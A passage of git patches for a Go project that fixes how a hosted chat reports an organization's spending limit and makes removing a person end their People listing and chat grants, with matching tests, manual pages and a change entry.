provider.PlanPauseSentence(paused.Reset, paused.OverflowDoor), true } refusal, ok := provider.RefusalFrom(err) + // THE ORGANIZATION'S OWN LIMIT IS NOT A SERVICE'S REFUSAL. A hosted chat that + // reached the limit the organization set is told so by the organization's + // model door in a finished sentence, and that sentence is the whole answer: put + // behind " accepted the key but the account cannot pay" it blamed the + // vendor and the person's own account, and it needs no service at all + // (provider/orgdoor.go). It is read before the service check for that reason. + if ok { + if said, own := refusal.OrgLimitWords(); own { + return said, true + } + } if !ok || !refusal.AccountCannotPay() || strings.TrimSpace(service) == "" { return "", false } diff --git a/internal/tui3/credits.go b/internal/tui3/credits.go index 3c176d09fc..c6f8207f5f 100644 --- a/internal/tui3/credits.go +++ b/internal/tui3/credits.go @@ -219,7 +219,11 @@ func (a *app) creditRefusalEnded(err error) bool { return true } if refusal, ok := provider.RefusalFrom(err); ok && refusal.AccountCannotPay() { - return true + // THE ORGANIZATION'S OWN LIMIT SAYS NOTHING ABOUT THE PERSON'S OPENROUTER + // BALANCE, so it must not send a read of it (provider/orgdoor.go). It is + // the same fact the turn's sentence already stopped blaming the account for. + _, orgLimit := refusal.OrgLimitWords() + return !orgLimit } // THE READ DECIDES WHETHER THE KEY EXPIRED. The engine sends the session's // unauthorized sentence without its typed refusal, so that shared sentence diff --git a/internal/tui3/feed.go b/internal/tui3/feed.go index 7dcf5f3a58..0d333c3223 100644 --- a/internal/tui3/feed.go +++ b/internal/tui3/feed.go @@ -1556,6 +1556,15 @@ func (f *feed) failureNote(err error, service string) string { if paused, ok := provider.PlanPauseFrom(err); ok { return provider.PlanPauseSentence(paused.Reset, paused.OverflowDoor) } + // THE ORGANIZATION'S OWN LIMIT IS SAID AS IT WAS WRITTEN. A hosted chat at the + // limit the organization set gets a finished sentence from the organization's + // model door; behind a service name and "the account cannot pay" it blamed the + // vendor for a limit the vendor never set (provider/orgdoor.go). + if refusal, ok := provider.RefusalFrom(err); ok { + if said, own := refusal.OrgLimitWords(); own { + return said + } + } if said, ok := cannotPayWords(err); ok && strings.TrimSpace(service) != "" { return serviceCannotPayWord(service, said) } diff --git a/internal/tui3/orgdoorwords_test.go b/internal/tui3/orgdoorwords_test.go new file mode 100644 index 0000000000..c94c97ad4f --- /dev/null +++ b/internal/tui3/orgdoorwords_test.go @@ -0,0 +1,120 @@ +package tui3 + +import ( + "context" + "fmt" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/credits" + "github.com/Agent-Field/codeaf/internal/modelsource" + "github.com/Agent-Field/codeaf/internal/provider" + "github.com/Agent-Field/codeaf/internal/session" +) + +// A HOSTED CHAT AT THE ORGANIZATION'S LIMIT READS THE ORGANIZATION'S SENTENCE. +// The organization's model door refuses a chat that reached its spending limit +// with an HTTP 402 in its own words; the turn used to put " accepted the +// key but the account cannot pay" in front of it, blaming the vendor and the +// person's account for a limit the organization chose (provider/orgdoor.go). +// These tests run a REAL engine turn against a server answering with the door's +// exact bytes, so the typed refusal they hand the page is the one a local engine +// raises, not one built by hand. + +const orgDoorLimitSentence = "This chat has reached its spending limit of $0.001, so it is paused. Start a new chat to carry on." + +// doorBody is the door's error exactly as internal/factory/serve writes it, keys +// in the order encoding/json emits them. +func doorBody() string { + return fmt.Sprintf(`{"error":{"code":402,%q:%q,"message":%q,"type":"insufficient_quota"}}`, + provider.DoorKey, provider.OrganizationDoor, orgDoorLimitSentence) +} + +// refusedTurn runs one engine turn against a server that refuses it with status +// and body, and answers the error the turn ended on and the service the page +// would name for the model. +func refusedTurn(t *testing.T, status int, body string) (error, string) { + t.Helper() + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _, _ = fmt.Fprint(w, body) + })) + t.Cleanup(server.Close) + const key, model = "test-key", "vendor/model" + agent, err := session.New(session.Config{Workspace: t.TempDir(), Model: model, APIKey: key, BaseURL: server.URL}) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = agent.Close() }) + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + events, err := agent.Submit(ctx, "Hi") + if err != nil { + t.Fatal(err) + } + var failure error + for event := range events { + if event.Kind == session.EventError { + failure = event.Err + } + } + if failure == nil { + t.Fatal("the turn ended without an error") + } + var none modelsource.Set + resolved, _ := none.OrDefault(key, server.URL).For(model) + return failure, strings.TrimSpace(resolved.Source.Written) +} + +func TestAChatAtTheOrganizationsLimitDrawsOnlyTheOrganizationsSentence(t *testing.T) { + failure, service := refusedTurn(t, http.StatusPaymentRequired, doorBody()) + if service == "" { + t.Fatal("the control is void: the page resolved no service name to leave out") + } + // The page named a service for this model, as it does when it composes the + // vendor line, and still said nothing of it. + note := (&feed{}).failureNote(failure, service) + if note != orgDoorLimitSentence { + t.Fatalf("the page drew\n %q\nwant exactly\n %q", note, orgDoorLimitSentence) + } + forbidden(t, note) + for _, blame := range []string{service, "accepted the key", "cannot pay"} { + if strings.Contains(strings.ToLower(note), strings.ToLower(blame)) { + t.Fatalf("the line carries %q: %q", blame, note) + } + } + // A turn that had been asked again still draws the sentence and not a ladder. + f := &feed{} + f.asked, f.askedTurn = 3, f.turn + if counted := f.failureNote(failure, service); counted != orgDoorLimitSentence { + t.Fatalf("a counted turn drew %q", counted) + } +} + +func TestAProvidersOwnPaymentRefusalStillNamesTheServiceAndTheAccount(t *testing.T) { + failure, service := refusedTurn(t, http.StatusPaymentRequired, + `{"error":{"code":402,"message":"Insufficient credits. Add more at the provider's settings."}}`) + note := (&feed{}).failureNote(failure, service) + want := service + " accepted the key but the account cannot pay — Insufficient credits. Add more at the provider's settings." + if note != want { + t.Fatalf("a provider's refusal drew\n %q\nwant\n %q", note, want) + } +} + +func TestTheOrganizationsLimitDoesNotSendAReadOfThePersonsOwnCredits(t *testing.T) { + a := placeApp(t) + a.readCredits = func(context.Context) (credits.Reading, error) { return credits.Reading{}, nil } + + own, _ := refusedTurn(t, http.StatusPaymentRequired, doorBody()) + if a.creditRefusalEnded(own) { + t.Fatal("the organization's limit asked for a read of the person's OpenRouter balance") + } + theirs, _ := refusedTurn(t, http.StatusPaymentRequired, `{"error":{"code":402,"message":"Insufficient credits."}}`) + if !a.creditRefusalEnded(theirs) { + t.Fatal("a provider's payment refusal stopped asking for a credit read") + } +} From 48f3f9172985da77e8f154827c0c1c79874681d1 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 12:25:42 -0500 Subject: [PATCH 168/176] manual: a hosted chat at its limit is not a payment failure, and say why Co-Authored-By: Claude Opus 5.5 --- docs/design/app-v3/PROTOCOL.md | 5 +++-- internal/manual/chat/organization-hosted-sessions.md | 6 ++++++ internal/manual/chat_hosted_test.go | 1 + 3 files changed, 10 insertions(+), 2 deletions(-) diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index a3e8eb7719..4052a7dcd0 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -1141,8 +1141,9 @@ every hosted chat's model calls cost to the caller's space: one spend row per ca `hosted:` (`hosted::own` when the call used the person's own key), so `spent_usd` and `at_limit` above count them and a person at `limit_usd` has their hosted chat refused with "You have reached your monthly limit of $L, so this chat is paused. The -organization's operator can raise it in Settings." (HTTP 402 from the model door; a chat's -own cap, `CODEAF_HOSTED_SESSION_CAP_USD`, default 5, refuses with "This chat has reached its +organization's operator can raise it in Settings." (HTTP 402 from the model door, whose every +error carries `"door":"organization"` in its envelope so a client shows the sentence as written +rather than as a payment failure; a chat's own cap, `CODEAF_HOSTED_SESSION_CAP_USD`, default 5, refuses with "This chat has reached its spending limit of $C, so it is paused. Start a new chat to carry on."). These are HTTP routes of the organization server with no engine method yet, answered only to a signed-in person and only about them: `GET /v1/hosted/keys` answers `{keys: [{provider, last4, at, diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 43dd0d2539..53228dee02 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -218,6 +218,12 @@ A refused message makes no model call and costs nothing. Calls with your own key A hosted chat can make up to four model calls at once, subject to what the calls already running hold against its spending limit. A priced call holds its estimated cost, and an unpriced call holds half of the limit that was left when the chat's model connection opened (never more than what is left), so once the chat has spent anything a second unpriced call is refused while the first is running, and once half the limit is spent only one such call can run at a time. A fifth request or one that cannot fit because of what is held never reaches the model and costs nothing, and you read `This chat is already making as many requests as it may at once. Try again in a moment.` +## my hosted chat says it reached its spending limit or monthly limit and is paused — is my OpenRouter account out of credit + +No. The two limit lines (`This chat has reached its spending limit of $5.00, so it is paused. Start a new chat to carry on.` and `You have reached your monthly limit of $20.00, so this chat is paused. The organization's operator can raise it in Settings.`) are the organization's own words, shown exactly as written. They never name a model service or say that an account cannot pay, because the limit belongs to the organization and says nothing about your own OpenRouter account or its credit. A limit finer than a cent is written with its digits (`$0.001`), never as `$0.00`. + +If instead the organization's provider says its own account has no credit, you read that provider's refusal as a model service's line, ` accepted the key but the account cannot pay — …`, and whoever pays for that key (the operator, or you with your own) is the one who tops it up. + ## keep my own model key or GitHub access on the organization's server — stored sealed, only yours You can give the organization's server your own OpenRouter key and your own GitHub access (a token) for your chats. They go to `PUT /v1/hosted/keys/openrouter` and `PUT /v1/hosted/keys/github` with your sign-in and the body `{"key":"..."}`; `GET /v1/hosted/keys` lists what you stored as the provider, the last four characters and when, never the key, and `DELETE /v1/hosted/keys/` removes one. codeaf's own chat has no screen for it yet. diff --git a/internal/manual/chat_hosted_test.go b/internal/manual/chat_hosted_test.go index 9225136bc4..627c63cd32 100644 --- a/internal/manual/chat_hosted_test.go +++ b/internal/manual/chat_hosted_test.go @@ -34,6 +34,7 @@ func TestHostedChatQuestionsReachTheirPage(t *testing.T) { {"you were not given permission to send messages in it", []string{"you were not given permission to send messages in it", "keyboard"}}, {"I can watch this chat but was not given permission to steer it", []string{"Ask its owner", "keyboard"}}, {"Your access to this chat was removed.", []string{"Your access to this chat was removed."}}, + {"my hosted chat says it reached its spending limit and is paused, is my openrouter account out of credit", []string{"exactly as written", "never name a model service", "$0.001"}}, {"who pays when a guest steers my hosted chat", []string{"approximate", "owner's spending limits"}}, {"can the operator open my hosted chat", []string{"only metadata", "There is no such chat."}}, {"can a bot start a hosted chat", []string{"a bot cannot use this yet", "recorded as made by the bot"}}, From 4e39da46807582d7fd341b1834c21d76788a898a Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 12:26:11 -0500 Subject: [PATCH 169/176] change entry 2936: a hosted chat at its spending limit reads the organization's sentence Co-Authored-By: Claude Opus 5.5 --- docs/changes/unreleased/2936-cap-refusal-words.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 docs/changes/unreleased/2936-cap-refusal-words.md diff --git a/docs/changes/unreleased/2936-cap-refusal-words.md b/docs/changes/unreleased/2936-cap-refusal-words.md new file mode 100644 index 0000000000..d0140ebaf7 --- /dev/null +++ b/docs/changes/unreleased/2936-cap-refusal-words.md @@ -0,0 +1,13 @@ +--- +kind: fixed +title: A hosted chat at its spending limit reads the organization's sentence, not a payment failure +pr: 2936 +surface: [chat, engine, factory, docs] +invalidates: + - "A hosted chat that reached its spending limit or its person's monthly limit read \" accepted the key but the account cannot pay\" in front of the organization's sentence, because the organization's model door answers with an HTTP 402 shaped like a provider's. It now reads only the organization's own sentence, and a provider's own payment refusal still reads as it did." + - "A hosted chat's limit sentence wrote every limit with two decimals, so a limit of a tenth of a cent read $0.00. A limit that is a whole number of cents still keeps two decimals ($5.00, $0.50), and a finer one is spelled as it was chosen ($0.001)." +--- + +Every error the organization's model door writes now carries `"door":"organization"` in its error envelope, and the +engine and the page read that mark, never the sentence, to tell the organization's own words from a refusal a provider +passed through. The door's limit refusals stay terminal: nothing about retries, model hops or the spend path changed. From bb6d4b37c4fee7cbe1d32927b917b494ce9e0fc1 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 13:57:20 -0500 Subject: [PATCH 170/176] org: removing a person ends their place in People and every grant they hold A person who joined through an anonymous access link and was then removed stayed in People as "away" and kept the grants others had given them on their chats. closeInvitesOf found invites by the handle they admitted, and an anonymous link carries none. Removal now marks the person's own use on every link that admitted them as removed (the use stays spent, so the link never reopens for anyone else), and deletes every grant that names them, whichever door they came in by. A named invite is removed exactly as before. Joining again, by a new link or by the old one, brings no old grants back. Co-Authored-By: Claude Opus 5.5 --- internal/factory/serve/invites.go | 6 +- internal/factory/serve/members.go | 3 +- internal/factory/serve/people_v2.go | 17 ++ .../serve/removal_link_joiners_test.go | 282 ++++++++++++++++++ internal/factory/store/grants.go | 19 ++ internal/factory/tokens/join_test.go | 75 +++++ internal/factory/tokens/tokens.go | 27 ++ 7 files changed, 427 insertions(+), 2 deletions(-) create mode 100644 internal/factory/serve/removal_link_joiners_test.go diff --git a/internal/factory/serve/invites.go b/internal/factory/serve/invites.go index 4f969ae2d4..d0f4dd6f53 100644 --- a/internal/factory/serve/invites.go +++ b/internal/factory/serve/invites.go @@ -656,7 +656,10 @@ func tokenHash(secret string) string { return hex.EncodeToString(sum[:]) } -// closeInvitesOf ends every invite that admitted handle; the list skips an ended invite. +// closeInvitesOf ends the standing of a removed person on every link that admitted them, in one save. A named +// invite carries the handle it admitted and is revoked, which the list skips. An anonymous access link carries +// none, so it cannot be found by handle and cannot be revoked (that would turn away the others who joined by it): +// the person's own use is marked removed instead. Either way the use stays spent, so no link reopens. func closeInvitesOf(path, handle string, now time.Time) error { if path == "" { return nil @@ -667,6 +670,7 @@ func closeInvitesOf(path, handle string, now time.Time) error { if t.Invite != nil && !t.Revoked && t.Invite.Handle != "" && factory.NormalizeHandle(t.Invite.Handle) == handle { t.TokenHash, t.Token, t.Revoked, t.RevokedAt = tokenHash(t.Token), "", true, now.UTC() } + t.EndMember(handle, now) } return rows, nil }) diff --git a/internal/factory/serve/members.go b/internal/factory/serve/members.go index 8e108e0871..123b81b628 100644 --- a/internal/factory/serve/members.go +++ b/internal/factory/serve/members.go @@ -38,7 +38,8 @@ func (h *Handler) memberList() []api.Member { continue } for _, joiner := range tok.Members() { - if joiner.Profile.Handle == "" { + // A joiner the operator removed (closeInvitesOf) keeps their spent use but is no longer a member. + if joiner.Profile.Handle == "" || !joiner.Removed.IsZero() { continue } m := take(joiner.Profile.Handle) diff --git a/internal/factory/serve/people_v2.go b/internal/factory/serve/people_v2.go index d0f452663f..4de50a9c27 100644 --- a/internal/factory/serve/people_v2.go +++ b/internal/factory/serve/people_v2.go @@ -207,6 +207,12 @@ func (h *Handler) operatorRevokePerson(w http.ResponseWriter, r *http.Request) { if h.failed(w, closeInvitesOf(h.config.TokensPath, handle, h.now())) { return } + // WHAT OTHERS GAVE THEM GOES TOO, whichever door they came in by: a grant left on someone's chat would apply again + // to anyone who later joins under the same handle (found on a production run, 2026-11-25). + ended, err := h.endGrantsOf(handle) + if h.failed(w, err) { + return + } // A person the operator removes leaves every team with their sign-ins, // and their workstreams go to an heir rather than keep a gone owner. if h.failed(w, h.leaveEveryTeam(r, handle)) { @@ -229,9 +235,20 @@ func (h *Handler) operatorRevokePerson(w http.ResponseWriter, r *http.Request) { if given > 0 { detail += fmt.Sprintf("; %d workstreams given to @%s", given, heir) } + if ended > 0 { + detail += fmt.Sprintf("; %d grants ended", ended) + } h.finish(w, h.operatorEvent(r, record.SessionsRevoked, "person:"+handle, detail)) } +// endGrantsOf deletes every grant that names a removed person and answers how many it deleted. +func (h *Handler) endGrantsOf(handle string) (int, error) { + if h.config.Store == nil { + return 0, nil + } + return h.config.Store.RemoveGrantsOfSubject("person", factory.NormalizeHandle(handle)) +} + // revokePerson ends sign-ins and runner credentials. Leaving the // organization also ends the person's bot credentials. func (h *Handler) revokePerson(handle string, leaving bool) error { diff --git a/internal/factory/serve/removal_link_joiners_test.go b/internal/factory/serve/removal_link_joiners_test.go new file mode 100644 index 0000000000..b81aa5cca4 --- /dev/null +++ b/internal/factory/serve/removal_link_joiners_test.go @@ -0,0 +1,282 @@ +package serve + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "net/url" + "slices" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/factory/api" + "github.com/Agent-Field/codeaf/internal/factory/store" +) + +// VALIDATION CONTRACT, written before the code it checks (found on a production run of the hosted organization: +// a person who joined by an anonymous access link and was then removed stayed in People as "away" and kept the +// grants others had given them): +// - Removing a person drops them from People and from the member list, and drops every grant they hold on +// anyone's chat, whichever door they joined by: a named invite, an anonymous link, or a GitHub sign-in. +// - Nobody else is touched: another person's grants on the same chat, and a joiner of the same multi-use link, +// stay exactly as they were. +// - A removed person's spent use stays spent: the link they came in by does not reopen for anyone else. Joining +// again, by a new link or by the old one, brings no old grants back. +// - A person who joined by a named invite is removed exactly as before: gone from People, the invite closed. + +// removalDoor is one way a person joins the organization. +type removalDoor struct { + name string + // link makes a fresh link as the operator and answers it. + link func(t *testing.T, rg *hostedRig) string + // after is the state the answer to a second sign-up through the same link names once its person is gone. + after string +} + +var removalDoors = []removalDoor{ + {"named invite", func(t *testing.T, rg *hostedRig) string { + t.Helper() + var made api.InviteMade + rg.do(t, "owner", http.MethodPost, "/v1/invites", -1, api.InviteNew{Email: "bob@acme.example"}, http.StatusCreated, &made) + return made.URL + }, "revoked"}, + {"anonymous link", func(t *testing.T, rg *hostedRig) string { return rg.anonymousLink(t, 1) }, "used_up"}, +} + +// anonymousLink is the README's own recipe, POST /v1/access/links, for up to uses people. +func (rg *hostedRig) anonymousLink(t *testing.T, uses int) string { + t.Helper() + var made struct { + Link api.AccessLink `json:"link"` + } + rg.do(t, "owner", http.MethodPost, "/v1/access/links", -1, api.CreateAccessLink{MaxUses: uses}, http.StatusCreated, &made) + if made.Link.URL == "" { + t.Fatal("the link carries no address") + } + return made.Link.URL +} + +// join signs username up through link and keeps their token. +func (rg *hostedRig) join(t *testing.T, link, username string) { + t.Helper() + out, code := rg.signUpAs(t, link, username) + if code != http.StatusOK || out.State != "joined" || out.AccessToken == "" { + t.Fatalf("%s did not join: %d %+v", username, code, out) + } + rg.tokens[username] = out.AccessToken +} + +// handlesOf reads who the organization lists, through the two routes that list people. +func (rg *hostedRig) handlesOf(t *testing.T) (people, members []string) { + t.Helper() + var list api.People + rg.do(t, "owner", http.MethodGet, "/v1/people", -1, nil, http.StatusOK, &list) + for _, p := range list.People { + people = append(people, p.Handle) + } + var all api.Members + rg.do(t, "owner", http.MethodGet, "/v1/members", -1, nil, http.StatusOK, &all) + for _, m := range all.Members { + members = append(members, m.Handle) + } + return people, members +} + +// holders lists who holds a grant on one chat, by handle and role, in the store. +func (rg *hostedRig) holders(t *testing.T, chat string) []string { + t.Helper() + grants, err := rg.st.GrantsOn(store.SessionKind, chat) + if err != nil { + t.Fatal(err) + } + var out []string + for _, g := range grants { + out = append(out, g.Subject.ID+":"+g.Role) + } + slices.Sort(out) + return out +} + +func (rg *hostedRig) remove(t *testing.T, handle string) { + t.Helper() + if w := rg.send("owner", http.MethodDelete, "/v1/people/"+handle+"/sessions", nil, nil); w.Code != http.StatusOK { + t.Fatalf("removing %s = %d %s", handle, w.Code, w.Body) + } +} + +// Contract items 1, 2, 3 and 4: through the real handlers and a real store, on both password doors. +func TestRemovingAJoinerEndsTheirPlaceAndEveryGrantWhicheverDoorTheyUsed(t *testing.T) { + for _, door := range removalDoors { + t.Run(door.name, func(t *testing.T) { + rg := newHostedRig(t) + link := door.link(t, rg) + rg.join(t, link, "bob") + chat := rg.create(t, "santosh") + other := rg.create(t, "mia") + hostedGrant(t, rg, "santosh", chat, "bob", "edit") + hostedGrant(t, rg, "santosh", chat, "bob", "view") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + hostedGrant(t, rg, "mia", other, "bob", "view") + + // Controls: before the removal bob is listed, holds the grants and reads the chat, so what is gone + // afterwards is the removal's doing. + if people, members := rg.handlesOf(t); !slices.Contains(people, "bob") || !slices.Contains(members, "bob") { + t.Fatalf("before the removal, bob is not listed: people %v, members %v", people, members) + } + if w := rg.send("bob", http.MethodGet, hostedSessionsPath+"/"+chat, nil, nil); w.Code != http.StatusOK { + t.Fatalf("before the removal, bob's read of the chat = %d %s", w.Code, w.Body) + } + if got, want := rg.holders(t, chat), []string{"abir:view", "bob:edit", "bob:view"}; !slices.Equal(got, want) { + t.Fatalf("before the removal, the chat's grants = %v, want %v", got, want) + } + + rg.remove(t, "bob") + + people, members := rg.handlesOf(t) + if slices.Contains(people, "bob") || slices.Contains(members, "bob") { + t.Errorf("after the removal, bob is still listed: people %v, members %v", people, members) + } + if held, err := rg.st.GrantsOfSubject("person", "bob"); err != nil || len(held) != 0 { + t.Errorf("after the removal, bob still holds grants: %+v, %v", held, err) + } + if got, want := rg.holders(t, chat), []string{"abir:view"}; !slices.Equal(got, want) { + t.Errorf("the chat's grants after the removal = %v, want %v", got, want) + } + if got := rg.holders(t, other); len(got) != 0 { + t.Errorf("mia's chat's grants after the removal = %v, want none", got) + } + if w := rg.send("abir", http.MethodGet, hostedSessionsPath+"/"+chat, nil, nil); w.Code != http.StatusOK { + t.Errorf("another guest's read of the chat after bob's removal = %d, want 200", w.Code) + } + // What the removal already did stays done. + if w := rg.send("bob", http.MethodGet, "/v1/me", nil, nil); w.Code != http.StatusUnauthorized { + t.Errorf("bob's token after the removal = %d, want 401", w.Code) + } + if w := rg.signIn(t, "bob"); w.Code != http.StatusUnauthorized { + t.Errorf("bob's password sign-in after the removal = %d, want 401", w.Code) + } + // The link does not reopen, and its answer to a second person is what it was. + if out, _ := rg.signUpAs(t, link, "carol"); out.State != door.after { + t.Errorf("a second sign-up through bob's link says %q, want %q", out.State, door.after) + } + }) + } +} + +// signUpAs joins by password through link, from loopback because the password door takes plain HTTP only there; +// the answer may be a refusal. +func (rg *hostedRig) signUpAs(t *testing.T, link, username string) (api.FactoryAccess, int) { + t.Helper() + body, _ := json.Marshal(api.FactoryAccessRequest{Link: link, Verb: "sign_up", Username: username, Password: pwAbir}) + r := httptest.NewRequest(http.MethodPost, "/v1/factory-access", strings.NewReader(string(body))) + r.RemoteAddr = "127.0.0.1:4000" + r.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + var out api.FactoryAccess + _ = json.Unmarshal(w.Body.Bytes(), &out) + return out, w.Code +} + +func (rg *hostedRig) signIn(t *testing.T, username string) *httptest.ResponseRecorder { + t.Helper() + body, _ := json.Marshal(api.PasswordSignIn{Username: username, Password: pwAbir}) + r := httptest.NewRequest(http.MethodPost, "/v1/auth/password", strings.NewReader(string(body))) + r.RemoteAddr = "127.0.0.1:4000" + r.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + return w +} + +// Contract item 2: a link that admits several people loses only the one removed. +func TestRemovingOneJoinerOfAMultiUseLinkLeavesTheOthersAndTheirGrants(t *testing.T) { + rg := newHostedRig(t) + link := rg.anonymousLink(t, 2) + rg.join(t, link, "bob") + rg.join(t, link, "carol") + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "bob", "edit") + hostedGrant(t, rg, "santosh", chat, "carol", "edit") + + rg.remove(t, "bob") + + if people, members := rg.handlesOf(t); slices.Contains(people, "bob") || slices.Contains(members, "bob") || + !slices.Contains(people, "carol") || !slices.Contains(members, "carol") { + t.Errorf("after bob's removal: people %v, members %v; want carol listed and bob not", people, members) + } + if got, want := rg.holders(t, chat), []string{"carol:edit"}; !slices.Equal(got, want) { + t.Errorf("the chat's grants after bob's removal = %v, want %v", got, want) + } + if w := rg.send("carol", http.MethodGet, hostedSessionsPath+"/"+chat, nil, nil); w.Code != http.StatusOK { + t.Errorf("carol's read of the chat after bob's removal = %d, want 200", w.Code) + } + // Bob's use stays spent: the link did not reopen for a third person. + if out, _ := rg.signUpAs(t, link, "dave"); out.State != "used_up" { + t.Errorf("a third sign-up through the two-person link says %q, want used_up", out.State) + } +} + +// Contract item 3, on the GitHub door: joining again by a new link brings no old grant back. +func TestARemovedGitHubJoinerDoesNotComeBackWithTheirGrants(t *testing.T) { + rg, g, _, chat := removedGitHubJoiner(t) + + // A new link joins him again, and he holds nothing he held before. + fresh := rg.anonymousLink(t, 1) + rg.tokens["bob"] = signInHandle(t, rg.h, g, &rg.now, "bob", gateOf(t, fresh)) + rg.wantBackWithoutGrants(t, chat) +} + +// Contract item 3, same door: the link they came in by still admits someone it already counted, as it always has, +// and that brings him back into People without any old grant. +func TestARemovedGitHubJoinerUsingTheOldLinkIsBackInPeopleWithoutGrants(t *testing.T) { + rg, g, gate, chat := removedGitHubJoiner(t) + + rg.tokens["bob"] = signInHandle(t, rg.h, g, &rg.now, "bob", gate) + rg.wantBackWithoutGrants(t, chat) +} + +// removedGitHubJoiner joins bob through an anonymous link by GitHub, gives him a grant on santosh's chat, removes him, +// and answers the scene. +func removedGitHubJoiner(t *testing.T) (*hostedRig, *fakeGitHub, string, string) { + t.Helper() + rg := newHostedRig(t) + g := &fakeGitHub{t: t} + rg.h.config.GitHubClientID, rg.h.config.GitHubHTTPClient = "client", g.client() + gate := gateOf(t, rg.anonymousLink(t, 3)) + rg.tokens["bob"] = signInHandle(t, rg.h, g, &rg.now, "bob", gate) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "bob", "edit") + if w := rg.send("bob", http.MethodGet, hostedSessionsPath+"/"+chat, nil, nil); w.Code != http.StatusOK { + t.Fatalf("before the removal, bob's read of the chat = %d %s", w.Code, w.Body) + } + rg.remove(t, "bob") + if people, _ := rg.handlesOf(t); slices.Contains(people, "bob") { + t.Fatalf("after the removal, bob is still listed: %v", people) + } + return rg, g, gate, chat +} + +func (rg *hostedRig) wantBackWithoutGrants(t *testing.T, chat string) { + t.Helper() + if people, _ := rg.handlesOf(t); !slices.Contains(people, "bob") { + t.Errorf("after joining again, bob is not listed: %v", people) + } + if held, err := rg.st.GrantsOfSubject("person", "bob"); err != nil || len(held) != 0 { + t.Errorf("joining again brought old grants back: %+v, %v", held, err) + } + if w := rg.send("bob", http.MethodGet, hostedSessionsPath+"/"+chat, nil, nil); w.Code != http.StatusNotFound || w.Body.String() != hostNoSuchChat { + t.Errorf("after joining again, bob's read of the old chat = %d %s, want 404 %q", w.Code, w.Body, hostNoSuchChat) + } +} + +// gateOf is the secret in a link's address, which GitHub sign-in presents as its gate. +func gateOf(t *testing.T, link string) string { + t.Helper() + parsed, err := url.Parse(link) + if err != nil { + t.Fatal(err) + } + fragment, _ := url.ParseQuery(parsed.Fragment) + return fragment.Get("token") +} diff --git a/internal/factory/store/grants.go b/internal/factory/store/grants.go index 37c96e1a5a..3e649e4de3 100644 --- a/internal/factory/store/grants.go +++ b/internal/factory/store/grants.go @@ -217,6 +217,25 @@ func (st *Store) RemoveGrantAtPolicy(id string, rev int) error { return st.removeGrant(id, &rev) } +// RemoveGrantsOfSubject deletes every grant that names one subject, lapsed ones +// included, in one transaction, and answers how many it deleted. It is what +// removing a person from the organization does to what others gave them: a +// grant left behind would apply again to anyone who later joins under the same +// handle. Like RemoveGrant it keeps nothing; the serve layer writes the record. +func (st *Store) RemoveGrantsOfSubject(kind, id string) (int, error) { + removed := 0 + err := st.wsTx(func(tx *sql.Tx) error { + res, err := tx.Exec(`DELETE FROM grants WHERE subject_kind = ? AND subject_id = ?`, kind, id) + if err != nil { + return err + } + n, err := res.RowsAffected() + removed = int(n) + return err + }) + return removed, err +} + // removeGrant deletes the row inside one transaction, first checking the // policy revision when one is given. func (st *Store) removeGrant(id string, rev *int) error { diff --git a/internal/factory/tokens/join_test.go b/internal/factory/tokens/join_test.go index c9ad859571..a323f5b08a 100644 --- a/internal/factory/tokens/join_test.go +++ b/internal/factory/tokens/join_test.go @@ -225,3 +225,78 @@ func TestPlainTokensAndOperatorClaimsAreNotHumanLinks(t *testing.T) { t.Fatalf("second handle on a plain token = %v", err) } } + +// VALIDATION CONTRACT for ending a person's standing on a link (a removed person who joined by an anonymous link was +// left in People, because nothing named them on the row): +// - The row stops counting that person as a member, but their use stays spent: it never reopens for someone else. +// - Nobody else on the row is touched, and a row written before Joiners existed (one person, named only by Profile) +// is ended the same way and survives a save and a load. +// - A person already counted who signs in through the same link again is back in, with nothing spent. +func TestEndingAMemberKeepsTheirUseSpent(t *testing.T) { + path := filepath.Join(t.TempDir(), "tokens.json") + legacy := `{"tokens":[{"access_link":true,"id":"tok_old","token":"s1","joined":"2026-10-02T00:00:00Z","profile":{"handle":"raj"}}]}` + if err := os.WriteFile(path, []byte(legacy), 0o600); err != nil { + t.Fatal(err) + } + rows, err := Load(path) + if err != nil { + t.Fatal(err) + } + if !rows[0].EndMember("RAJ", t0) || rows[0].EndMember("raj", t0) { + t.Fatal("ending a legacy row's one person must change it once, whatever the case of the handle") + } + if err := Save(path, rows); err != nil { + t.Fatal(err) + } + if rows, err = Load(path); err != nil { + t.Fatal(err) + } + got := rows[0].Members() + if len(got) != 1 || got[0].Removed.IsZero() || rows[0].Used() != 1 || rows[0].Remaining() != 0 || rows[0].Reason(t0) != "used_up" { + t.Fatalf("the ended legacy row = %+v (used %d, %s)", got, rows[0].Used(), rows[0].Reason(t0)) + } + + two := humanLink(t, path, 2, nil) + for _, name := range []string{"ann", "ben"} { + if _, err := Join(path, two.ID, who(name), t0); err != nil { + t.Fatal(err) + } + } + if err := Edit(path, func(rows []Token) ([]Token, error) { + for i := range rows { + rows[i].EndMember("ann", t0.Add(time.Hour)) + } + return rows, nil + }); err != nil { + t.Fatal(err) + } + rows, _ = Load(path) + var row Token + for _, r := range rows { + if r.ID == 